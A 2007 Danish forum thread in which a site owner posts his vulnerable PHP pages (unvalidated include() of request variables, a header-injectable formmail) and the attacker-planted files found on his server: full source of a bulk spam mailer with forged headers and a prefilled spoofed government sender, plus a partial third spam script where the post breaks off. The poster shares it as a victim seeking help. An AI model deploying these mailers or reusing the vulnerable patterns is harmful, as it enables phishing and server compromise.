Søg
Avatar billede razmuz Nybegynder
31. januar 2007 - 17:15 Der er 10 kommentarer

Sikkerhedsbrist i php-kode

Hej
Jeg er kunde hos One.com og har været det gennem mange år og med stor tilfredshed. Jeg har dog et problem med ét af mine domæner, der gang på gang bliver hacket. Der bliver placeret uønskede filer på serveren, og i kraft af det suspenderes mit domæne. Jeg får hele tiden af vide fra One.com at jeg skal lukke sikkerhedshullet, men jeg kan altså ikke finde noget i min kode.
Kan I hjælpe mig?

Dette er index-filen:

<?PHP
session_start();
if (isset($LA)) { $_SESSION["language"] = $LA; }
if (!isset($_SESSION["language"]) AND !isset($LA)) { $_SESSION["language"] = "ENG"; }
if (!isset($LA)) { $LA = $_SESSION["language"]; }

if (!isset($ID)) { $ID = "0"; }

$inkl = $LA;
switch ($LA) {
case DAN:
    $inkl = "DAN";
  break;
case ENG:
    $inkl = "ENG";
  break;
default:
    $inkl = "ENG";
    break;
}

?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>Lichtenberg & Partners</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<meta name="description" content="Lichtenberg & Partners ">
<meta name="keywords" content="lichtenberg, lichtenberg and partners, successiv princippet, successive principle, proaktiv, styring, usikkerhed, proactive, management, uncertainty, steen lichtenberg">
<meta name="robots" content="index, follow">
<meta name="publisher" content="Lichtenberg & Partners">
<link rel="stylesheet" type="text/css" href="style.css">
<script type="text/javascript" src="dtree.js"></script>
</head>
<body>
<center>
<table width="750" border="0" cellpadding="0" cellspacing="0">
<tr>
  <td rowspan="2"><img src="img/layout2_topbar_logo.gif" width="188" height="105" alt=""></td>
  <td colspan="2"><img src="img/layout2_topbar_billede.jpg" width="562" height="93" alt=""></td>
</tr>
<tr>
  <td colspan="2"><img src="img/layout2_topbar_hvid.gif" width="562" height="12" alt=""></td>
</tr>
<tr>
  <td colspan="3"><img src="img/layout2_skillelinie.gif" width="554" height="19" alt=""><a href="print.php?LA=<? echo "$LA"; ?>&ID=<? echo "$ID"; ?>" target="_blank"><img src="img/layout2_print_<? if ($LA == ENG) { echo "english"; } else { echo "dansk"; } ?>.gif" width="81" height="19" border="0" alt="<? if ($LA == ENG) { echo "View a printable version of this article"; } else { echo "Se en printbar version af artiklen"; } ?>"></a><a href="?LA=<? if ($LA == ENG) { echo "DAN"; } else { echo "ENG"; } ?>"><img src="img/layout2_sprog_<? if ($LA == ENG) { echo "dansk"; } else { echo "english"; } ?>.gif" width="115" height="19" border="0" alt="<? if ($LA == ENG) { echo "Se denne side på dansk"; } else { echo "View this site in English"; } ?>"></a></td>
</tr>
<tr>
  <td><img src="img/layout2_topbar_under1.gif" width="188" height="15" alt=""></td>
  <td colspan="2"><img src="img/layout2_topbar_under2.gif" width="562" height="15" alt=""></td>
</tr>
<tr>
  <td valign="top" style="background: URL(img/layout2_menu_midt.gif) ; height: 100%"><img src="img/layout2_menu_top.gif" alt=""><br>
  <? include("menu_$LA.php"); ?>
  </td>
  <td valign="top" style="background-color: #FFFFFF ; width: 550" class="link">
  <? if (is_int($ID)) { include("$inkl/$ID.php"); }  else { include("$inkl/$ID.php"); } ?>
  </td>
  <td rowspan="2" align="right" width="12" style="background: URL(img/layout2_hojre_kant.gif) ; height: 100%"></td>
</tr>
<tr>
  <td><img src="img/layout2_menu_bund.gif" width="188" height="18" alt=""></td>
</tr>
<tr>
  <td><img src="img/layout2_bundbar1.gif" width="188" height="26" alt=""></td>
  <td colspan="2"><img src="img/layout2_bundbar2.gif" width="562" height="26" alt=""></td>
</tr>
<tr>
  <td class="bunden">2003 &copy; Lichtenberg & Partners</td>
  <td class="bunden" colspan="2" align="right"><a href="http://www.rasmuslarsen.dk" target="_blank" title="<? if ($LA == ENG) { echo "Link to Rasmus Larsen' website"; } else { echo "Link til Rasmus Larsen' hjemmeside"; } ?>" class="bunden"><? if ($LA == ENG) { echo "Designed by Rasmus Larsen"; } else { echo "Designet af Rasmus Larsen"; } ?></a></td>
</tr>
</table>
</center>
</body>
</html>



Her er en formmail, der benyttes:

<?
/********************************************************
*                                                      *
*            Formmail Module ver. 2003.01.28            *
*                                                      *
*          Copyright(c) 2003, Webdraw.dk I/S          *
*                                                      *
********************************************************/

if ($mode == "send" && $conf) {

  //Tjek om alle nødvendige felter er udfyldt
  if ($address && $books && $name && $email && $subject && $sendto) {

    //Lav ENTER om til <BR>
    $address = ereg_replace (0x0A, "<br>", $address);
    $comment = ereg_replace (0x0A, "<br>", $comment);

    //Indsæt navn, e-mail og adresse øverst i mailen og ændre skrifttypen til Tahoma
    $msg = "<font style='font-family: Tahoma, serif; font-size: 10pt;'><b>Navn:</b> $name<br><b>E-mail:</b> $email<br><b>Adresse:</b> $address<br>";

    //Skriv telefonnummer i mailen, hvis det er udfyldt
    if ($tlf) { $msg .= "<b>Telefon:</b> $tlf<BR>"; }

    //Skriv firma i mailen, hvis det er udfyldt
    if ($company) { $msg .= "<b>Firma:</b> $company<BR>"; }

    //Tilføjer antal bøger af interesse
    $msg .= "<br>Er interesseret i $books bøger<br><br>";

    //Tilføjer telefonnummer i mailen, hvis det er udfyldt
    if ($comment) { $msg .= "<b>Kommentar:</b><br>$comment<br>"; }

    //Tilføjer en sidefod til mailen
    $msg .= "<p><hr color=#000000 size=1>This mail was send by <a href=http://$SERVER_NAME>$SERVER_NAME</a> formmail.</font>";

    //Header information om afsenderen af mailen
    $header = "From: $email\nReply-To: $email\nX-Mailer: $SERVER_NAME Formmail\n";
    //Fortæller postprogrammmet at det er en HTML-Mail
    $header .= "Content-Type: text/html; charset=iso-8859-1\n";

    //Send mailen
    $mailresult = mail($sendto, $subject, $msg, $header);

    //Send brugeren til en side der fortæller at mailen er sendt
    Header("Location: formmail.php?mode=thx&sendto=$sendto&LA=$LA");
  }

  else {
    //En fejlvariabel bliver udfyldt. Bliver brugt længere nede
    $errDAN = "Du skal udfylde alle felter markeret med en *";
    $errENG = "Fields marked * are required";
  }
}
?>

<!doctype HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
<title>Lichtenberg & Partners - Formmail</title>
<link rel="stylesheet" type="text/css" href="style.css">
</head>
<body style="margin-top: 8px; margin-bottom: 8px;">

<?
if ($LA == DAN) {
    $navn = "Navn";
    $firma = "Firma";
    $adresse = "Adresse";
    $telefon = "Telefon";
    $boger = "Antal bøger";
    $kommentar = "Kommentar";
    }
if ($LA == ENG) {
    $navn = "Name";
    $firma = "Company";
    $adresse = "Address";
    $telefon = "Telephone";
    $boger = "Quantity of books";
    $kommentar = "Comment";
    }

if ($mode == "send") {
  //Den mail der skal sendes til
  if (!$sendto) $sendto = "adhoc@post1.tele.dk";
  echo "
    <table width=\"100%\" style=\"height: 100%\" cellpadding=\"0\" cellspacing=\"0\">
      <tr valign=\"top\"><td>
        <form action=\"formmail.php?mode=send&conf=1\" method=\"post\">
        <input type=\"hidden\" name=\"sendto\" value=\"$sendto\">
        <input type=\"hidden\" name=\"LA\" value=\"$LA\">
        <input type=\"hidden\" name=\"subject\" value=\"Bestilling af bøger via Lichtenberg.org\">
        <table width=\"380\" align=\"center\" cellpadding=\"0\" cellspacing=\"0\">
          <tr><td><span class=\"overover\">Send e-mail</span></td></tr>
        </table>
        <table width=\"380\" align=\"center\">
          <tr><td width=\"120\">$navn <font color=\"red\">*</font>:</td><td colspan=\"3\"><input type=\"text\" name=\"name\" value=\"$name\" maxlength=\"50\"></td></tr>
          <tr><td>$firma:</td><td colspan=\"3\"><input type=\"text\" name=\"company\" value=\"$company\" maxlength=\"50\"></td></tr>
          <tr><td>E-mail <font color=\"red\">*</font>:</td><td colspan=\"3\"><input type=\"text\" name=\"email\" value=\"$email\" maxlength=\"50\"></td></tr>
          <tr valign=\"top\"><td>$adresse <font color=\"red\">*</font>:</td><td colspan=\"3\"><textarea name=\"address\" rows=\"4\">$address</textarea></td></tr>
          <tr><td>$telefon:</td><td colspan=\"3\"><input type=\"text\" name=\"tlf\" value=\"$tlf\" maxlength=\"50\"></td></tr>
          <tr><td>$boger <font color=\"red\">*</font>:</td><td colspan=\"3\"><input type=\"text\" name=\"books\" value=\"$books\" maxlength=\"50\"></td></tr>
          <tr valign=\"top\"><td>$kommentar:</td><td><textarea name=\"comment\" rows=\"5\">$comment</textarea></td></tr>
          <tr><td>&nbsp;</td><td align=\"right\"><input class=\"button\" type=\"image\" src=\"img/button_ok.gif\" alt=\"\" align=\"right\"></td></tr>
  ";
?>
        </table>
      </td></tr>
      <tr valign="bottom"><td>
        </form>
<? if ($errDAN OR $errENG) {
    echo "<center><font color=\"red\">";
    if ($LA == ENG) { echo "$errENG"; }
    if ($LA == DAN) { echo "$errDAN"; }
    echo "</font></center>";
    }
?>
        <hr>
        <table width="380" align="center" cellpadding="0" cellspacing="0">
          <tr valign="bottom"><td><b>NB!</b> <? if ($LA == ENG) { echo "Fields marked with <font color=\"red\">*</font> are required"; } else { echo "Felter markeret med <font color=\"red\">*</font> skal udfyldes"; } ?>
                    </td><td align="right"><a href="java script:self.close();"><? if ($LA == ENG) { echo "Close window"; } else { echo "Luk vindue"; }?></a></td></tr>
        </table>
      </td></tr>
    </table>
<?
} else if ($mode == "thx" && $sendto) {
?>
  <table width="100%" style="height: 100%" cellpadding="0" cellspacing="0">
    <tr valign="top"><td>
      <table width="380" align="center" cellpadding="0" cellspacing="0">
        <tr valign="top"><td><span class="over"><? if ($LA == ENG) { echo "Thank you for your email</span><p>Your mail has been sent to <a href=\"mailto:$sendto\">$sendto</a> and will be answered as soon as possible"; } if ($LA == DAN) { echo "Tak for din mail</span><p>Din mail er blevet sendt til <a href=\"mailto:$sendto\">$sendto</a> og vil blive besvaret snarest.<p>"; } ?></td></tr>
      </table>
    </td></tr>
    <tr valign="bottom"><td>
      <hr>
      <table width="380" align="center" cellpadding="0" cellspacing="0">
        <tr valign="bottom"><td align="right"><a href="java script:self.close();"><? if ($LA == ENG) { echo "Close window"; } else { echo "Luk vindue"; }?></a></td></tr>
      </table>
    </tr></td>
  </table>
<?
}
?>

</body>
</html>






Derudover bruger jeg et javascript til menuen:

| dTree 2.05 | www.destroydrop.com/javascript/tree/ |
, men det burde der jo ikke være noget i vejen med.
Avatar billede mcgoat Nybegynder
31. januar 2007 - 17:22 #1
kigger lige med
Avatar billede razmuz Nybegynder
31. januar 2007 - 17:22 #2
Alle de gange den er blevet hacket er følgende filer blevet lagt op på serveren:

index1.php
SendTo.php
enviar.php
[og så en fil af typen scr eller exe - det har varieret lidt]



********************************
********* index1.php ***********
********************************

<!--
Developed by : RicardoFelipe
Contact : p_r_i_v_8@yahoo.com.br <---(MSN)
          irc.brasnet.us #c0d3rz #vbbrasil
Por favor nao utilizar o script para fins ilicitos (SPAM or FakeMail)
-->

<html>
<head>
<title>SendTo - by P7rk - uploaded by diabolick®</title>
<style type="text/css">
<!--
.cxtexto {
    font-family: Verdana, Arial, Helvetica, sans-serif;
    font-size: 9px;
    border: thin #000000;
    background-color: #000;
    color: #fff;
}
-->
</style>
</head>

<body>
<table width="755" border="0" cellpadding="0" cellspacing="0" bgcolor="#000000">
  <form name="form1" method="post" action="" enctype="multipart/form-data">
    <!--DWLayoutTable-->
    <tr>
      <td width="10" height="10"></td>
      <td width="524"></td>
      <td width="9"></td>
      <td width="15"></td>
      <td width="86"></td>
      <td width="90"></td>
      <td width="13"></td>
      <td width="8"></td>
    </tr>
    <tr>
      <td height="326">&nbsp;</td>
      <td rowspan="3" valign="top"><table width="100%" border="0" cellpadding="0" cellspacing="0" bgcolor="#CCCCCC">
          <!--DWLayoutTable-->
          <tr>
            <td width="23" height="7"></td>
            <td width="64"></td>
            <td width="160"></td>
            <td width="22"></td>
            <td width="29"></td>
            <td width="206"></td>
            <td width="20"></td>
          </tr>
          <tr>
            <td height="22">&nbsp;</td>
            <td valign="middle" bgcolor="#CCCCCC"> <div align="right"><font size="1" face="Verdana, Arial, Helvetica, sans-serif"><strong>Nome
                :</strong></font></div></td>
            <td valign="middle" bgcolor="#CCCCCC"> &nbsp; <input name="NRemetente" type="text" class="cxtexto" id="NRemetente" value="Departamento Nacional de Trânsito" size="30" maxlength="60"></td>
            <td colspan="2" valign="middle" bgcolor="#CCCCCC"> <div align="right"><font size="1" face="Verdana, Arial, Helvetica, sans-serif"><strong>E-mail
                :</strong></font></div></td>
            <td valign="middle" bgcolor="#CCCCCC"> &nbsp; <input name="ERemetente" type="text" class="cxtexto" id="ERemetente" value="comunicado@denatran.gov.br" size="35" maxlength="60"></td>
            <td>&nbsp;</td>
          </tr>
          <tr>
            <td height="22">&nbsp;</td>
            <td valign="middle" bgcolor="#CCCCCC"> <div align="right"><font size="1" face="Verdana, Arial, Helvetica, sans-serif"><strong>Assunto
                :</strong></font></div></td>
            <td valign="middle" bgcolor="#CCCCCC"> &nbsp; <input name="Assunto" type="text" class="cxtexto" id="Assunto" value="Comunicado Importante!" size="30" maxlength="60"></td>
            <td colspan="2" valign="middle" bgcolor="#CCCCCC"> <div align="right"><font size="1" face="Verdana, Arial, Helvetica, sans-serif"><strong>Lista
                :</strong></font></div></td>
            <td valign="middle" bgcolor="#CCCCCC" class="cxprocura"> &nbsp; <input name="emails" type="file" class="cxtexto" id="emails"></td>
            <td>&nbsp;</td>
          </tr>
          <tr>
            <td height="22"></td>
            <td colspan="3" valign="middle" bgcolor="#CCCCCC"> <div align="left"><strong><font size="1" face="Verdana, Arial, Helvetica, sans-serif">&nbsp;&nbsp;&nbsp;Conteudo
                HTML ou TXT :</font></strong></div></td>
            <td colspan="2" valign="middle" bgcolor="#CCCCCC"><div align="right"><font size="1" face="Verdana, Arial, Helvetica, sans-serif"><strong>Intervalo
                de :</strong></font>
                <input name="Interval" type="text" class="cxtexto" id="interval" value="0" size="3" maxlength="3">
                <font size="1" face="Verdana, Arial, Helvetica, sans-serif"><strong>segundos&nbsp;&nbsp;&nbsp;&nbsp;</strong></font></div></td>
            <td></td>
          </tr>
          <tr>
            <td height="302"></td>
            <td colspan="5" valign="top" bgcolor="#CCCCCC"> &nbsp; <textarea name="Conteudo" cols="90" rows="24" wrap="VIRTUAL" class="cxtexto" id="Conteudo"><?php echo stripslashes($_POST['Conteudo']);?></textarea>
            </td>
            <td></td>
          </tr>
        </table></td>
      <td>&nbsp;</td>
      <td colspan="4" valign="top"><table width="100%" border="0" cellpadding="0" cellspacing="0" bgcolor="#CCCCCC">
          <!--DWLayoutTable-->
          <tr>
            <td height="43" colspan="3" valign="top" bgcolor="#888888"> <p align="center"><strong><font color="#FFFFFF" size="4" face="Verdana, Arial, Helvetica, sans-serif"><em>&laquo;
                SendTo </em>&raquo;<br>
                <font size="2">by P7rk
                <input name="teste" type="hidden" class="cxtexto" id="teste" value="yep" size="3" maxlength="3">
                </font></font></strong></p></td>
          </tr>
          <tr>
            <td width="10" height="11"></td>
            <td width="184"></td>
            <td width="10"></td>
          </tr>
          <tr>
            <td height="260"></td>
            <td valign="top" bgcolor="#DDDDDD"> <p align="justify"><font size="1" face="Verdana, Arial, Helvetica, sans-serif"><br>
                &nbsp; </font><font size="2" face="Verdana, Arial, Helvetica, sans-serif"><font size="1">O
                <strong>SendTo</strong> &eacute; um script o qual permite voc&ecirc;
                enviar </font></font><font size="1" face="Verdana, Arial, Helvetica, sans-serif">e-mails
                a uma lista de contatos que deve provir de um arquivo (.txt) organizados
                um e-mail por linha.<br>
                <br>
                &nbsp; </font><font size="1" face="Verdana, Arial, Helvetica, sans-serif">
                O script &eacute; otimizado de forma a poder enviar menssagens
                a qualquer provedor de forma simples e intuitiva.<br>
                <br>
                &nbsp; Obs: n&atilde;o me responsabilizo pelo mau uso do mesmo,
                ja que ele tamb&eacute;m poder ser utilizado para se enviar SPAM,
                pe&ccedil;o por favor que tenham consciencia ao utiliza-lo para
                seus devidos fins...<br>
                <br>
                Contact: <br>
                p_r_i_v_8@yahoo.com.br &lt;-(MSN)<br>
                irc.brasnet.us #c0d3rz #vbbrasil</font></p></td>
            <td></td>
          </tr>
          <tr>
            <td height="12"></td>
            <td></td>
            <td></td>
          </tr>
        </table></td>
      <td>&nbsp;</td>
    </tr>
    <tr>
      <td height="19"></td>
      <td></td>
      <td>&nbsp;</td>
      <td>&nbsp;</td>
      <td>&nbsp;</td>
      <td>&nbsp;</td>
      <td></td>
    </tr>
    <tr>
      <td height="24"></td>
      <td></td>
      <td></td>
      <td valign="top"> <div align="center">
          <input type="submit" name="Submit2" value="Enviar">
        </div></td>
      <td valign="top"> <div align="center">
          <input name="Submit" type="button" onClick='window.close()' value="Desistir">
        </div></td>
      <td>&nbsp;</td>
      <td></td>
    </tr>
    <tr>
      <td height="7"></td>
      <td></td>
      <td></td>
      <td></td>
      <td></td>
      <td></td>
      <td></td>
      <td></td>
    </tr>
  </form>
</table>
<?php //Source PHP

//Para melhor 'debuging'
//error_reporting(E_ALL);
@ignore_user_abort(TRUE);
error_reporting(0);
@set_time_limit(0);
ini_set("memory_limit","-1");

//Verifica se os dados foram preenchidos
$teste = $_POST['teste'];
If ($teste == null){exit (/*"<br><center><b>Preenche corretamente os campos</b></center>"*/);}

//Recupera os dados do FORM
$FromName = $_POST['NRemetente'];
$FromMail = $_POST['ERemetente'];
$Subject = $_POST['Assunto'];
$MailServer = explode("@",$FromMail,2); $MailServer = $MailServer['1'];
$arq_temp = $_FILES["emails"]["tmp_name"];
$Lista = (file($arq_temp));
$QtdMail = count($Lista);
$Conteudo = stripslashes($_POST['Conteudo']);
$IntervalX = $_POST['Interval'];

//Arquivos de configuracao
@ini_set("sendmail_from", $FromMail);
@ini_set("time_limit",0);

//Define os headers do email
    $headers  = "From: $FromName <$FromMail>\n";
    $headers .= "MIME-Version: 1.0\n";
    $headers .= "Content-type: text/html; charset=iso-8859-1\n";
    $headers .= "Content-Transfer-encoding: 8bit\n";
    $headers .= "Reply-To: $FromName <$FromMail>\n";
    $headers .= "Return-Path: $FromMail\n";
    $headers .= "Message-ID: <".md5(uniqid(time()))."@$MailServer>\n";
    $headers .= "X-Priority: 3\n";
    $headers .= "X-MSmail-Priority: High\n";
    $headers .= "X-Mailer: Microsoft Office Outlook, Build 11.0.5510\n";
    $headers .= "X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441\n";
    $headers .= "X-Mailer: iGMail [www.ig.com.br]\n";
    $headers .= "X-Originating-Email: [$FromName]\n";
    $headers .= "X-Sender: $FromName\n";
    $headers .= "X-Originating-IP: [201.201.120.121]\n";
    $headers .= "X-iGspam-global: Unsure, spamicity=0.570081 - pe=5.74e-01 - pf=0.574081 - pg=0.574081\n";
   
//Inicia o envio
If ($QtdMail != 1){
echo str_repeat("-",126) . "<br>";
echo "<B>Estando tudo preparado vamos começar o envio</B><br>";
echo "<B>De:</B> $FromName &lt;$FromMail&gt;<br>";
echo "<B>Assunto:</B> $Subject<br>";
echo "<B>Para Lista:</B> $arq_temp <B>Que contém:</B> $QtdMail <B>e-mails</B><br>";
echo "<B>Com intervalo de:</B> $IntervalX <B>segundos entre cada envio</B><br>";
echo str_repeat("-",126) . "<br>";
} else {exit;}

$error = 0;
$donen = 0;

while (list($pos, $val) = each($Lista)) {
    $val = trim($val);
    if( mail($val, $Subject, $Conteudo, $headers) ){
            $donen++;
            echo '<font color="#0033FF" size="2" face="Verdana, Arial, Helvetica, sans-serif">OK - Enviado para [' . $val . '] - { ' . $donen . ' Ok | ' . $error . ' Erro } - [ ' . ($pos+1) . ' de ' . $QtdMail . ' ]</font><br>';
    }
    else{
            $error++;
            echo '<font color="#FF0000" size="2" face="Verdana, Arial, Helvetica, sans-serif">ERRO - Não Enviado para [' . $val . '] - { ' . $donen . ' Ok | ' . $error . ' Erro } - [ ' . ($pos+1) . ' de ' . $QtdMail . ' ]</font><br>';
    }

flush();
ob_flush();
sleep($IntervalX);
}

?>
</body>
</html>






********************************
********* SendTo.php ***********
********************************

<!--
Developed by : P7rk
Contact : p_r_i_v_8@yahoo.com.br <---(MSN)
          irc.brasnet.us #c0d3rz #vbbrasil
Por favor nao utilizar o script para fins ilicitos (SPAM or FakeMail)
-->

<html>
<head>
<title>SendTo - by P7rk</title>
<style type="text/css">
<!--
.cxtexto {
    font-family: Verdana, Arial, Helvetica, sans-serif;
    font-size: 9px;
    border: thin #000000;
    background-color: #FFFFFF;
    color: #000000;
}
-->
</style>
</head>

<body>
<table width="755" border="0" cellpadding="0" cellspacing="0" bgcolor="#E4E4E4">
  <form name="form1" method="post" action="" enctype="multipart/form-data">
    <!--DWLayoutTable-->
    <tr>
      <td width="10" height="10"></td>
      <td width="524"></td>
      <td width="9"></td>
      <td width="15"></td>
      <td width="86"></td>
      <td width="90"></td>
      <td width="13"></td>
      <td width="8"></td>
    </tr>
    <tr>
      <td height="326">&nbsp;</td>
      <td rowspan="3" valign="top"><table width="100%" border="0" cellpadding="0" cellspacing="0" bgcolor="#CCCCCC">
          <!--DWLayoutTable-->
          <tr>
            <td width="23" height="7"></td>
            <td width="64"></td>
            <td width="160"></td>
            <td width="22"></td>
            <td width="29"></td>
            <td width="206"></td>
            <td width="20"></td>
          </tr>
          <tr>
            <td height="22">&nbsp;</td>
            <td valign="middle" bgcolor="#CCCCCC"> <div align="right"><font size="1" face="Verdana, Arial, Helvetica, sans-serif"><strong>Nome
                :</strong></font></div></td>
            <td valign="middle" bgcolor="#CCCCCC"> &nbsp; <input name="NRemetente" type="text" class="cxtexto" id="NRemetente" value="Nome Sobrenome" size="30" maxlength="60"></td>
            <td colspan="2" valign="middle" bgcolor="#CCCCCC"> <div align="right"><font size="1" face="Verdana, Arial, Helvetica, sans-serif"><strong>E-mail
                :</strong></font></div></td>
            <td valign="middle" bgcolor="#CCCCCC"> &nbsp; <input name="ERemetente" type="text" class="cxtexto" id="ERemetente" value="email@provedor.com.br" size="35" maxlength="60"></td>
            <td>&nbsp;</td>
          </tr>
          <tr>
            <td height="22">&nbsp;</td>
            <td valign="middle" bgcolor="#CCCCCC"> <div align="right"><font size="1" face="Verdana, Arial, Helvetica, sans-serif"><strong>Assunto
                :</strong></font></div></td>
            <td valign="middle" bgcolor="#CCCCCC"> &nbsp; <input name="Assunto" type="text" class="cxtexto" id="Assunto" value="Assunto" size="30" maxlength="60"></td>
            <td colspan="2" valign="middle" bgcolor="#CCCCCC"> <div align="right"><font size="1" face="Verdana, Arial, Helvetica, sans-serif"><strong>Lista
                :</strong></font></div></td>
            <td valign="middle" bgcolor="#CCCCCC" class="cxprocura"> &nbsp; <input name="emails" type="file" class="cxtexto" id="emails"></td>
            <td>&nbsp;</td>
          </tr>
          <tr>
            <td height="22"></td>
            <td colspan="3" valign="middle" bgcolor="#CCCCCC"> <div align="left"><strong><font size="1" face="Verdana, Arial, Helvetica, sans-serif">&nbsp;&nbsp;&nbsp;Conteudo
                HTML ou TXT :</font></strong></div></td>
            <td colspan="2" valign="middle" bgcolor="#CCCCCC"><div align="right"><font size="1" face="Verdana, Arial, Helvetica, sans-serif"><strong>Intervalo
                de :</strong></font>
                <input name="Interval" type="text" class="cxtexto" id="interval" value="0" size="3" maxlength="3">
                <font size="1" face="Verdana, Arial, Helvetica, sans-serif"><strong>segundos&nbsp;&nbsp;&nbsp;&nbsp;</strong></font></div></td>
            <td></td>
          </tr>
          <tr>
            <td height="302"></td>
            <td colspan="5" valign="top" bgcolor="#CCCCCC"> &nbsp; <textarea name="Conteudo" cols="90" rows="24" wrap="VIRTUAL" class="cxtexto" id="Conteudo"><?php echo stripslashes($_POST['Conteudo']);?></textarea>
            </td>
            <td></td>
          </tr>
        </table></td>
      <td>&nbsp;</td>
      <td colspan="4" valign="top"><table width="100%" border="0" cellpadding="0" cellspacing="0" bgcolor="#CCCCCC">
          <!--DWLayoutTable-->
          <tr>
            <td height="43" colspan="3" valign="top" bgcolor="#888888"> <p align="center"><strong><font color="#FFFFFF" size="4" face="Verdana, Arial, Helvetica, sans-serif"><em>&laquo;
                SendTo </em>&raquo;<br>
                <font size="2">by P7rk
                <input name="teste" type="hidden" class="cxtexto" id="teste" value="yep" size="3" maxlength="3">
                </font></font></strong></p></td>
          </tr>
          <tr>
            <td width="10" height="11"></td>
            <td width="184"></td>
            <td width="10"></td>
          </tr>
          <tr>
            <td height="260"></td>
            <td valign="top" bgcolor="#DDDDDD"> <p align="justify"><font size="1" face="Verdana, Arial, Helvetica, sans-serif"><br>
                &nbsp; </font><font size="2" face="Verdana, Arial, Helvetica, sans-serif"><font size="1">O
                <strong>SendTo</strong> &eacute; um script o qual permite voc&ecirc;
                enviar </font></font><font size="1" face="Verdana, Arial, Helvetica, sans-serif">e-mails
                a uma lista de contatos que deve provir de um arquivo (.txt) organizados
                um e-mail por linha.<br>
                <br>
                &nbsp; </font><font size="1" face="Verdana, Arial, Helvetica, sans-serif">
                O script &eacute; otimizado de forma a poder enviar menssagens
                a qualquer provedor de forma simples e intuitiva.<br>
                <br>
                &nbsp; Obs: n&atilde;o me responsabilizo pelo mau uso do mesmo,
                ja que ele tamb&eacute;m poder ser utilizado para se enviar SPAM,
                pe&ccedil;o por favor que tenham consciencia ao utiliza-lo para
                seus devidos fins...<br>
                <br>
                Contact: <br>
                p_r_i_v_8@yahoo.com.br &lt;-(MSN)<br>
                irc.brasnet.us #c0d3rz #vbbrasil</font></p></td>
            <td></td>
          </tr>
          <tr>
            <td height="12"></td>
            <td></td>
            <td></td>
          </tr>
        </table></td>
      <td>&nbsp;</td>
    </tr>
    <tr>
      <td height="19"></td>
      <td></td>
      <td>&nbsp;</td>
      <td>&nbsp;</td>
      <td>&nbsp;</td>
      <td>&nbsp;</td>
      <td></td>
    </tr>
    <tr>
      <td height="24"></td>
      <td></td>
      <td></td>
      <td valign="top"> <div align="center">
          <input type="submit" name="Submit2" value="Enviar">
        </div></td>
      <td valign="top"> <div align="center">
          <input name="Submit" type="button" onClick='window.close()' value="Desistir">
        </div></td>
      <td>&nbsp;</td>
      <td></td>
    </tr>
    <tr>
      <td height="7"></td>
      <td></td>
      <td></td>
      <td></td>
      <td></td>
      <td></td>
      <td></td>
      <td></td>
    </tr>
  </form>
</table>
<?php //Source PHP

//Para melhor 'debuging'
//error_reporting(E_ALL);
@ignore_user_abort(TRUE);
error_reporting(0);
@set_time_limit(0);
ini_set("memory_limit","-1");

//Verifica se os dados foram preenchidos
$teste = $_POST['teste'];
If ($teste == null){exit (/*"<br><center><b>Preenche corretamente os campos</b></center>"*/);}

//Recupera os dados do FORM
$FromName = $_POST['NRemetente'];
$FromMail = $_POST['ERemetente'];
$Subject = $_POST['Assunto'];
$MailServer = explode("@",$FromMail,2); $MailServer = $MailServer['1'];
$arq_temp = $_FILES["emails"]["tmp_name"];
$Lista = (file($arq_temp));
$QtdMail = count($Lista);
$Conteudo = stripslashes($_POST['Conteudo']);
$IntervalX = $_POST['Interval'];

//Arquivos de configuracao
@ini_set("sendmail_from", $FromMail);
@ini_set("time_limit",0);

//Define os headers do email
    $headers  = "From: $FromName <$FromMail>\n";
    $headers .= "MIME-Version: 1.0\n";
    $headers .= "Content-type: text/html; charset=iso-8859-1\n";
    $headers .= "Content-Transfer-encoding: 8bit\n";
    $headers .= "Reply-To: $FromName <$FromMail>\n";
    $headers .= "Return-Path: $FromMail\n";
    $headers .= "Message-ID: <".md5(uniqid(time()))."@$MailServer>\n";
    $headers .= "X-Priority: 3\n";
    $headers .= "X-MSmail-Priority: High\n";
    //$headers .= "X-Mailer: Microsoft Office Outlook, Build 11.0.5510\n";
    //$headers .= "X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441\n";
    $headers .= "X-Mailer: iGMail [www.ig.com.br]\n";
    $headers .= "X-Originating-Email: [$FromName]\n";
    $headers .= "X-Sender: $FromName\n";
    $headers .= "X-Originating-IP: [201.201.120.121]\n";
    $headers .= "X-iGspam-global: Unsure, spamicity=0.570081 - pe=5.74e-01 - pf=0.574081 - pg=0.574081\n";
   
//Inicia o envio
If ($QtdMail != 1){
echo str_repeat("-",126) . "<br>";
echo "<B>Estando tudo preparado vamos começar o envio</B><br>";
echo "<B>De:</B> $FromName &lt;$FromMail&gt;<br>";
echo "<B>Assunto:</B> $Subject<br>";
echo "<B>Para Lista:</B> $arq_temp <B>Que contém:</B> $QtdMail <B>e-mails</B><br>";
echo "<B>Com intervalo de:</B> $IntervalX <B>segundos entre cada envio</B><br>";
echo str_repeat("-",126) . "<br>";
} else {exit;}

$error = 0;
$donen = 0;

while (list($pos, $val) = each($Lista)) {
    $val = trim($val);
    if( mail($val, $Subject, $Conteudo, $headers) ){
            $donen++;
            echo '<font color="#0033FF" size="2" face="Verdana, Arial, Helvetica, sans-serif">OK - Enviado para [' . $val . '] - { ' . $donen . ' Ok | ' . $error . ' Erro } - [ ' . ($pos+1) . ' de ' . $QtdMail . ' ]</font><br>';
    }
    else{
            $error++;
            echo '<font color="#FF0000" size="2" face="Verdana, Arial, Helvetica, sans-serif">ERRO - Não Enviado para [' . $val . '] - { ' . $donen . ' Ok | ' . $error . ' Erro } - [ ' . ($pos+1) . ' de ' . $QtdMail . ' ]</font><br>';
    }

    sleep($IntervalX);
}

?>
</body>
</html>







********************************
********* enviar.php ***********
********************************

<?php

set_time_limit(0);

if($manda)
{
//EMAIL DO DESTINAT?RIO
$destinatario = "$remetente";

//ASSUNTO DO EMAIL
$assunto = "Admirador te enviou um cartão";

//MENSAGEM DO EMAIL
$mensagem = $html;
$mensagem = stripslashes($mensagem);
//CABE?ALHO DO EMAIL
$headers  = "MIME-Version: 1.0\r\n";
$headers .= "Content-type: text/html; charset=iso-8859-1\r\n";
/* headers adicionais */
$headers .= "From: O Carteiro <entrega@ocarteiro.com>\r\n";

//ARQUIVO COM OS EMAILS
$arquivo = $lista;

//LENDO ARQUIVO
$file = explode("\n", $arquivo);
